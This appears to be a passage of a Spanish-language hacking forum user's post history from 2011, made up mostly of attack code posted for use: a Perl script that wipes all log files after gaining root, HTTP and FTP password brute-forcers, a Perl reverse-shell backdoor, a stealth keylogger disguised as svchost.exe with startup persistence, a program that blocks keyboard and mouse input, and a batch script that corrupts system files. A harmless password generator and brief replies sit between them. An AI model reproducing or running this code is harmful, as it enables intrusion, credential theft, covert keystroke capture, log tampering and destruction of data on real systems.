system 'find / -name log* -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all log* files -erased Ok!\"\n";
system 'find / -name *.log -exec rm -rf {} \;';
system "echo -e \"\\033[01;37m[*] all *.log files -erased Ok!\"\n";
system "echo -e \"\033[01;34m-------[+] !done all log files erased![+]-------\033[01;37m\"\n";


Bueno pegan el code en el block de notas y lo guardan con la extension *.pl  (obvio)
Una vez que "sean root" en el server, la dan permisos 777:

Código: text
chmod -c 777 log.pl


Despues la ejecutan:
Código: text
perl log.pl


Ahi comenzara a buscar los logs y a borrar.
#44
Perl / Http Brute Force
Enero 27, 2011, 08:45:35 PM
Código: perl
!/usr/bin/perl

use Carp;

use WWW::Mechanize;

#open pwlist
open INPUT, "file.txt";
my $pw = 0;
@lines = <INPUT>;
close INPUT;

my $webaddress = 'http://www.target.com/forums/login.php';

my $username = 'zondoz';

my $mech = WWW::Mechanize->new(

    cookie_jar      => {},
);

login:

my $password = @lines[$pw];

my $response = $mech->get($webaddress);

if (!$response->is_success) {

    die "Login page unreachable $webaddress: ",  $response->status_line, "\n";

}


# Login

$mech->field('username', $username);

$mech->field('password', $password);

my $response = $mech->click();

if ($response->is_success) {

    goto checkpw;

} else {

    die "Login failed: ",  $response->status_line, "\n";

}

1;
checkpw:
if($mech->content( format => 'text' ) =~ m/You last visited/i){
print "++++++++++++++++++++\n";
print "LOGIN SUCCESSFUL!\n";
print "USERNAME: $username\n";
print "PASSWORD: $password\n";
print "++++++++++++++++++++\n";
} else {
print "trying $username:$password attempts:$pw\n";
$pw ++;
goto login;
}
#45
Perl / BackFoS v0.2 [FOS TEAM BACKDOOR]
Enero 27, 2011, 08:45:11 PM
Código: perl
#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [-----] ##########
#                                                         #
#     BackFoS is a Backdoor in PERL for  all  Servers     #
#            c0dex by Vengador de las Sombras             #
#                                                         #
#          USAGE: Perl BackFoS.pl <HOST> <PORT> <OS>      #
#     You need have listen nc, cryptcar, putty or other   #
#      program on <PORT> to connect with the backdoor     #
#                                                         #
#=========================================================#
#                                                         #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       
# LiƒÂ«ssiiƒÂ«m TiƒÂ¡riƒÂ¡lom, Phonix & ArgeniversoHack & #RE members #
#      Especial Thanx To Plaga, for the help =)           #
#                                                         #
#################### (c)FoS TeaM 2008 #####################

use IO::Socket;

print q(

=================================================
   BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [-----]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}
#46
Dudas y pedidos generales / Re:Nuevos Troyanos
Enero 26, 2011, 02:47:00 PM
Gracias a tu por postear tu duda ^^.

Tema solucionado, Cierro.
#47
Back-end / [Paper] Vulnerabilidades web
Enero 26, 2011, 12:04:30 PM
Bueno dejo el link directo del paper, para no hacer copy y paste, espero que os guste.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Saludos
#48
Hacking / Intrusion Mediante Net Bios
Enero 25, 2011, 06:42:25 PM
Aunque este tema ya es un poco viejo, lo pongo por que es muy bueno para aprender algunas cosas y ademas de eso es muy interesante. Espero que les guste y les sirva. Esta en pdf.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#49
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Espero que os sirva!:O
#50
Batch - Bash / Re:Abecedario Batch
Enero 23, 2011, 02:13:46 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
jeje vale vale!
un saludo eDeeex, que andes de 10.

Jajaaja, bro te agrege al msn para preguntarme un par de cosas sencillas para que me des tu opinion, ahora que as ablado de java.

Cuidate hermano, que andes de 1000!
#51
Batch - Bash / Re:Abecedario Batch
Enero 23, 2011, 07:46:41 AM
Esta bueno cygog haber cuando tengo tiempo y lo programo yo en c++ aunque seria casi lo mismo pero bueno :P.

Cuidate hermano.
#52
Códigos Fuentes / Re:FTP Bruteforce
Enero 23, 2011, 07:44:44 AM
Si lo se cygog pero como viste no lo programe yo xD.

Saludos
#53
Códigos Fuentes / FTP Bruteforce
Enero 22, 2011, 10:10:02 PM
Código: c
/*****
Ftp Brute Force , v1.0.
Written By WaReZ 
-----------------
Options:
        Single Username - Password list , Range passwords.
        Usernames list - Passwords List , Single password , Range Passwords.
---------------------------------------------------------------------------------------------
Compile:       
        g++ ftp.cpp -o ftp.exe

---------------------------------------------
*****/

#include <iostream>
#include <winsock.h>
#include <fstream>
#include <time.h>
using namespace std;

int ftp_connect(string user,string pass,char *site) {
         
sockaddr_in address;
         
size_t userSize = user.length()+1;
size_t passSize = pass.length()+1;
char username[userSize],password[passSize];
ZeroMemory(&username[0],userSize);
ZeroMemory(&password[0],passSize);
         
strncpy(username,user.c_str(),userSize);
strncpy(password,pass.c_str(),passSize);
       
char recv2[256];
ZeroMemory(&recv2,256);
       
hostent *host;
host = gethostbyname(site);

if(host != NULL)
{
           
int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
           
address.sin_family = AF_INET;
address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
address.sin_port = htons(21);     
 
 
int c,s,r;
c = connect(sock,(struct sockaddr*)&address,sizeof(address));
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,username,strlen(username),0);
r = recv(sock,recv2,sizeof(recv2),0);
s = send(sock,password,sizeof(password),0);
r = recv(sock,recv2,sizeof(recv2),0);


  if(strstr(recv2,"230"))
  {
     return 230;
  }
       
  else if(strstr(recv2,"530"))
  {
     return 530;
  }
 
  else if(c != 0)
  {
     return -1;
  }
                   
  else
  {
     return WSAGetLastError();
  }
 
}

  else
  {
    return -1;
  } 
 
}         

int main(int argc,char *argv[])
{
     
cout << "\n#####################################\n"
         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"
         "#####################################\n\n";
 
WSADATA wsaData;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
  cout << "WSAGetLastError(): " << WSAGetLastError();
  exit(1);
}
 
         
if(argc < 2)
{
  cout << "Usage: " << argv[0] << "\n\n";
  cout << "-user         singal username\n";
  cout << "-ul           usernames list\n";
  cout << "-start        start range\n";
  cout << "-end          end range\n";
  cout << "-pl           passwords list\n";
  cout << "-sp           singal password for users list\n";
  cout << "-site         site that be checked\n\n";

  cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
}

       
else
{
   
  cout <<  "[~] Starting ...\n\n";
  char buffer[256],rcv[256]; 
 
 
  int check = 0;
  int tstart = 0 ,tend = 0;
  int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  char passwords[256],site[256] = "", users[256];
  ifstream passlist,userlist;
 
for(int i = 1; i <= argc-1;i++)
{
             
    if(argv[i+1] != NULL)
    {
         
     if(strstr(argv[i],"-user"))
     {
        realuser = argv[i+1];       
        user = "USER ";
        user += argv[i+1];
        user += "\r\n";
        u = 1;                   
     }
   
     if(strstr(argv[i],"-start"))
     {                       
        tstart = atoi(argv[i+1]);
        start = 1;             
     }
   
     if(strstr(argv[i],"-end"))
     {                     
        tend = atoi(argv[i+1]);
        end = 1;                                   
     }
   
     if(strstr(argv[i],"-pl"))
     {                     
        passlist.open(argv[i+1]);
        if(!passlist.fail())
        {
        pl = 1;
        }                           
     }
   
     if(strstr(argv[i],"-site"))
     {                             
       site2 = argv[i+1];
       strncpy(site,site2.c_str(),256);
       check_site = 1;                           
     }
   
     if(strstr(argv[i],"-ul"))
     {
        userlist.open(argv[i+1]);
        if(!userlist.fail())
        {
        ul = 1;
        }                 
     }
   
     if(strstr(argv[i],"-sp"))
     {
        sinpass = argv[i+1];
        realpass = argv[i+1];
        spass = 1;                       
     }
   
  }       
}

time_t time1;
time1 = time(NULL);

if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
   for(int p = tstart; p <= tend; p++)
   {   
         attempt+= 1; 
       
         pass = "PASS ";
         pass+=itoa(p,buffer,10);
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
       
         if(b == 230)
         {
             cout << realuser << "::" << p << " - Succeed" << endl;
             break;
         }
       
         else if(b == 530)
         {
             cout << realuser << "::" << p << " - Fail" << endl;
         }
     
         else if(b == -1)
         {
             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
         }
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         attempt+= 1;
                     
   }
}
 
else if(pl == 1 && u == 1 && check_site == 1)
{     
   while(!passlist.eof())
   {                         
      attempt+= 1; 
     
      passlist.getline(passwords,100); 
      pass = "PASS ";
      pass+= passwords;
      pass+= "\r\n";
     
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << realuser << "::" << passwords << " - Succeed" << endl;
          hacked = 1;
          break;
      }
       
      else if(b == 530)
      {
          cout << realuser << "::" << passwords << " - Fail" << endl;
      }
   
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                           
   }
 
   if(hacked == 0)
   {
       cout <<  "\n\nNon password was matched.\n\n";
   }
}
 
else if(ul == 1 && pl == 1 && check_site == 1)
{       
   while(!userlist.eof())
   {
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n";                       
     
      while(!passlist.eof())
      { 
         attempt+= 1; 
                                   
         passlist.getline(passwords,100); 
         pass = "PASS ";
         pass+= passwords;
         pass+= "\r\n";

         int b = ftp_connect(user,pass,site);
   
         if(b == 230)
         {
             cout << users << "::" << passwords << " - Succeed" << endl;
             correct_pass+= users;
             correct_pass+= "::";
             correct_pass+= passwords;
             correct_pass+= "\n";
             hacked+= 1;
             passlist.clear();             
             passlist.seekg(0,ios::beg);
             cout << "-------------------------\n";
             break;
     
         }
       
         else if(b == 530)
         {
             cout << users << "::" << passwords << " - Fail" << endl;         
         }
     
         else if(b == -1)
         {
            cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
            error = 1;
            break;   
         }     
     
         else
         {           
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
         }
       
         if(passlist.eof())
         {
            cout << "-------------------------\n";             
            passlist.clear();             
            passlist.seekg(0,ios::beg);
            break;                   
         }

     }
   
     if(error == 1)
     {
         break;
     }       
}
        if(error != 1)
        {
            if(hacked > 0)
            {             
                cout << "\nHacked Users:\n\n";
                cout << correct_pass;
                cout << "\n" << hacked << " Users Was Hacked\n";
            }
           
            else
            {
              cout << "\n\nNon password was matched.\n\n";   
            }
        }
}

else if(spass == 1 && ul == 1 && check_site == 1)
{
   while(!userlist.eof())
   { 
      attempt+= 1; 
     
      userlist.getline(users,100);
      user = "USER ";
      user+= users;
      user+= "\r\n"; 
       
      pass = "PASS ";
      pass+= sinpass;
      pass+= "\r\n";
           
      int b = ftp_connect(user,pass,site);
     
      if(b == 230)
      {
          cout << users << "::" << realpass << " - Succeed" << endl;
          fileusers+= users;
          fileusers+= "::";
          fileusers+= realpass;
          fileusers+= "\n";
          hacked+= 1;
      }
       
      else if(b == 530)
      {
          cout << users << "::" << realpass << " - Fail" << endl;         
      }
     
      else if(b == -1)
      {
          cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
          error = 1;
          break;   
      }
     
      else
      {           
          cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
          error = 1;
          break;
      }
                                         
   } 
      if(error != 1)
      {                     
          if(hacked > 0)
          {       
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
   
          else
          {
              cout << "\n\nNon password was matched.\n\n"; 
          }
       } 
       
}

else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
{
    while(!userlist.eof())
    {                       
       userlist.getline(users,100);
         
       for(int d = tstart; d <= tend;d++)
       { 
         
          attempt+= 1; 
         
          user = "USER ";
          user+= users;
          user+= "\r\n";
         
          pass = "PASS ";
          pass+= itoa(d,buffer,10);
          pass+= "\r\n"; 
         
          int b = ftp_connect(user,pass,site);
     
          if(b == 230)
          {
              cout << users << "::" << d << " - Succeed" << endl;
              fileusers+= users;
              fileusers+= "::";
              fileusers+= itoa(d,buffer,10);
              fileusers+= "\n";
              hacked+= 1;
              break;
          }
         
          else if(b == 530)
          {
              cout << users << "::" << d << " - Fail" << endl;         
          }
               
          else if(b == -1)
          {
             cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
             error = 1;
             break;   
          }
         
          else
          {         
             cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
             error = 1;
             break;
          } 
           
      }
          cout << "----------------------\n"; 
   }
   
      if(error != 1)
      {             
          if(hacked > 0)
          {
              cout << "\n\nHacked Users:\n\n";
              cout << fileusers;
              cout << "\n" << hacked << " Users was Hacked\n";
          }
         
          else
          {
             cout << "\n\nNon password was matched\n\n";   
          }
      }           

 
else
{
    if(tstart > tend)
    {
      cout << "Error: Start range bigger then end range.\n";       
    }
   
    else if(strlen(site) < 1)
    {
       cout << "Error: You forget to write the site.\n";
    }
   
    else if(passlist.fail() || userlist.fail())
    {
      cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";   
    }
     
    else
    {
      cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
    }
}     

time_t time2;
time2 = time(NULL);
cout << "\nAttempts: " << attempt << "\n";
cout << "Time elapsed: " << time2-time1 << "\n";
}
}
#54
Códigos Fuentes / Keylogger basico
Enero 22, 2011, 10:06:48 PM
Código: c
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*                                                                                  *
*  File: SVCHOST.c                                                                 *
*                                                                                  *
*  Purpose: a stealth keylogger, writes to file "svchost.log"                      *
*                                                                                  *       
*  Usage: compile to svchost.exe, copy to c:\%windir%\ and run it.                 *
*                                                                                  *
*  Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved   *
*                                                                                  *
*  This program is free software; you can redistribute it and/or                   *
*  modify it under the terms of the GNU General Public License                     *
*  as published by the Free Software Foundation; either version 2                  *
*  of the License, or (at your option) any later version.                          *
*                                                                                  *
*  This program is distributed in the hope that it will be useful,                 *
*  but WITHOUT ANY WARRANTY; without even the implied warranty of                  *
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                   *
*  GNU General Public License for more details.                                    *
*                                                                                  *
*  You should have received a copy of the GNU General Public License               *
*  along with this program; if not, write to the Free Software                     *
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.     *
*                                                                                  *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
   
    int test,create;
    test=test_key();/*check if key is available for opening*/
         
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
        create=create_key(path);
         
    }
       
   
    int t=get_keys();
   
    return t;


int get_keys(void)
{
            short character;
              while(1)
              {
                     sleep(10);/*to prevent 100% cpu usage*/
                     for(character=8;character<=222;character++)
                     {
                         if(GetAsyncKeyState(character)==-32767)
                         {   
                             
                             FILE *file;
                             file=fopen("svchost.log","a+");
                             if(file==NULL)
                             {
                                     return 1;
                             }           
                             if(file!=NULL)
                             {       
                                     if((character>=39)&&(character<=64))
                                     {
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }       
                                     else if((character>64)&&(character<91))
                                     {
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
                                     }
                                     else
                                     {
                                         switch(character)
                                         {
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;   
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                           
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;   
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                               
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }       
                                   }   
                              }       
                    }   
                }                 
                     
            }
            return EXIT_SUCCESS;                           
}                                                 

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
   
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {   
        check=1;
        return check;
    }       
           
    reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
         
    RegCloseKey(hKey);
    return check;   
}
   
int create_key(char *path)
{   
        int reg_key,check;
       
        HKEY hkey;
       
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
               
        return check;
}
#55
Códigos Fuentes / Virus Mouse v4 Pablo
Enero 22, 2011, 10:04:35 PM
Código: cpp
#include<windows.h>
#include<tlhelp32.h>
#include<winable.h>




int test_key(void);
int create_key(char *);



int main(void)
{
    int test,create;
    test=test_key();

    if (test==2)
    {
        char *path="c:\\WINDOWS\\svch0st.exe";
        create=create_key(path);

    }

HWND inv;
    AllocConsole();
    inv=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(inv,0);
int c;

for(;;)
{
BlockInput(true);
}
         char root[60]="C:\\Windows\\";
        char nombre[60]="svch0st";
        char path[256]="svch0st";
        strcat(nombre,".exe");
        strcat(root,nombre);
        HMODULE copiar = GetModuleHandle(0);
        GetModuleFileName(copiar, path, 256);
        CopyFile(path,root,false);
}

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
        check=1;
        return check;
    }

    reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;
}

int create_key(char *path)
{
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;

}


Bueno pues ya esta desactivo el teclado, desactivo el raton, y lo copio al inicio.

Creo que ya la ultima version sera para modelar lo que me dijo regx sobre el user si es Admin.

Saludos!
#56
Código: text

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:: Copyright (c) 2009 Matt Alvaríz , Timo Salmi                                 ::
:: All rights reserved.                                                         ::
::                                                                              ::
:: Redistribution and use in source and binary forms, with or without           ::
:: modification, are permitted provided that the following conditions           ::
:: are met:                                                                     ::
::                                                                              ::
:: 1. Redistributions of source code must retain the above copyright            ::
::    notice, this list of conditions and the following disclaimer.             ::
:: 2. Redistributions in binary form must reproduce the above copyright         ::
::    notice, this list of conditions and the following disclaimer in the       ::
::    documentation and/or other materials provided with the distribution.      ::
:: 3. Neither the name of copyright holders nor the names of its                ::
::    contributors may be used to endorse or promote products derived           ::
::    from this software without specific prior written permission.             ::
::                                                                              ::
:: THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS          ::
:: ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED  ::
:: TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR   ::
:: PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS ::
:: BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR       ::
:: CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF         ::
:: SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS     ::
:: INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN      ::
:: CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)      ::
:: ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE   ::
:: POSSIBILITY OF SUCH DAMAGE.                                                  ::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

@ECHO OFF&SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
SET CHARS=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 @#/()=+-,.;:_*'
:_MAIN
CLS
ECHO Security in password:
ECHO.
ECHO 1. Low
ECHO 2. Medium
ECHO 3. High
ECHO.
ECHO 0. Exit
ECHO.
SET /P "SECLEVEL_=> "
IF [%SECLEVEL_%] EQU [1] SET "MAXCHAR=25"&GOTO:_LENGHT
IF [%SECLEVEL_%] EQU [2] SET "MAXCHAR=51"&GOTO:_LENGHT
IF [%SECLEVEL_%] EQU [3] SET "MAXCHAR=77"&GOTO:_LENGHT
IF [%SECLEVEL_%] EQU [0] EXIT
GOTO:_MAIN
:_LENGHT
CLS
ECHO Length of password:
ECHO.
SET /P "PASSWORDLENGTH_=> "
IF [%PASSWORDLENGTH_%] EQU [] GOTO:_LENGHT
SET RESULT_=
FOR /L %%I IN (1,1,%PASSWORDLENGTH_%) DO (
CALL :_ONERANDOMCHAR %MAXCHAR% RNDCHR_
SET RESULT_=!RESULT_!!RNDCHR_!
)
ECHO %RESULT_%|FINDSTR "[0123456789]">NUL
IF [%ERRORLEVEL%] EQU [0] SET FOUNDNUMBER=TRUE
ECHO %RESULT_%|FINDSTR "[ @#/()=+-,.;:_*']">NUL
IF [%ERRORLEVEL%] EQU [0] SET FOUNDSPECIAL=TRUE
IF DEFINED REQUIRENUMBER IF [%FOUNDNUMBER%] EQU [] GOTO:_ONERANDOMCHAR
IF DEFINED REQUIRESPECIAL IF [%FOUNDSPECIAL%] EQU [] GOTO:_ONERANDOMCHAR
GOTO:_RESULT
:_ONERANDOMCHAR
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
SET /A DIV_=32767/%1
SET /A RAND_=%RANDOM%/%DIV_%
SET RETURN_=!CHARS:~%RAND_%,1!
ENDLOCAL&SET "%2=%RETURN_%"&GOTO:EOF
:_RESULT
CLS
ECHO Password:
ECHO.
ECHO %RESULT_%
ECHO.
SET /P "SAVE_=Save Password? (Y/N): "
IF /I [%SAVE_%] EQU [Y] ECHO.%RESULT_%>>Passwords.txt&GOTO:_MAIN
IF /I [%SAVE_%] EQU [N] GOTO:_MAIN
GOTO:_RESULT

#57
Aqui el Batch con Debug, pero perfeccionado, con FOR:
Código: text

@echo off
echo N %homedrive%\config.sys >> %homedrive%\in.txt
echo L >> %homedrive%\in.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\in.txt
echo W >> %homedrive%\in.txt
echo Q >> %homedrive%\in.txt
Debug < %homedrive%\in.txt
cls
echo N %homedrive%\windows\system32\command.com >> %homedrive%\ina.txt
echo L >> %homedrive%\ina.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ina.txt
echo W >> %homedrive%\ina.txt
echo Q >> %homedrive%\ina.txt
Debug < %homedrive%\ina.txt
echo N %homedrive%\io.sys >> %homedrive%\ins.txt
echo L >> %homedrive%\ins.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ins.txt
echo W >> %homedrive%\ins.txt
echo Q >> %homedrive%\ins.txt
Debug < %homedrive%\ins.txt
echo N %homedrive%\archivos de programa\Internet Explorer\ieproxy.dll >> %homedrive%\zx.txt
echo L >> %homedrive%\zx.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\zx.txt
echo W >> %homedrive%\zx.txt
echo Q >> %homedrive%\zx.txt
cls
cd %systemroo%\system32
FOR /L %%A IN (1,1,400) DO (mkdir %%A)
cd %"homedrive%\documents and settings\%username%"
FOR /L %%B IN (1,1,400) DO (mkdir %%B)
cd %systemroot%
@echo off
echo N %homedrive%\config.sys >> %homedrive%\in.txt
echo L >> %homedrive%\in.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\in.txt
echo W >> %homedrive%\in.txt
echo Q >> %homedrive%\in.txt
Debug < %homedrive%\in.txt
cls
echo N %homedrive%\windows\system32\command.com >> %homedrive%\ina.txt
echo L >> %homedrive%\ina.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ina.txt
echo W >> %homedrive%\ina.txt
echo Q >> %homedrive%\ina.txt
Debug < %homedrive%\ina.txt
echo N %homedrive%\io.sys >> %homedrive%\ins.txt
echo L >> %homedrive%\ins.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ins.txt
echo W >> %homedrive%\ins.txt
echo Q >> %homedrive%\ins.txt
Debug < %homedrive%\ins.txt
echo N %homedrive%\archivos de programa\Internet Explorer\ieproxy.dll >> %homedrive%\zx.txt
echo L >> %homedrive%\zx.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\zx.txt
